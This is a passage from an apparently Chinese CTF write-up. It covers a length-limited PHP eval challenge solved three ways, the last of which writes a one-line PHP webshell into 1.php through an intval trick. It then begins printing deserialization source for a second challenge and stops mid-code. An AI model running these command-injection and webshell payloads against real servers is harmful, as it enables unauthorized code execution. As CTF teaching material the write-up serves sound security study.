little_trick
<?php
error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>
解法1:
考察一些linux命令的小技巧
把ls的结果写进1
?nep=`ls>1`;&len=7
创建cat文件
?nep=`>cat`;&len=7
输⼊通配符*,Linux会把第⼀个列出的⽂件名当作命令,剩下的⽂件名当作参数。
?nep=`*>1`;&len=7
解法2:
?nep=`$nep`;ls>z&len=7
?nep=`$nep`;>cat&len=7
?nep=`$nep`;*>z&len=7
解法3:算是一个未收入到官方wp的非预期(学长太强了)
intval函数小技巧,7asdasd传进去,会被识别成7,遇到字母会停止,所以在intval数字后面加上系统命令,在nep处用$len
来执行内联命令,这样nep就不会被长度限制住
由于加不了echo,长度超标,所以只能写入shell,利用echo "" >> 1.php
来写入一句话木马
payload:
?nep=`$len`;&len=7;echo "<?php @eval(\$_POST[1])?>" >> 1.php
记得要加上\转义$,不然$_POST会不见,还有就是不能带;,不然报语法错误
写入后就可以开蚁剑了
梦里花开牡丹亭
涉及到:
- pop链
- 命令执行
- 短字符命令执行
反序列化,代码审计
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin')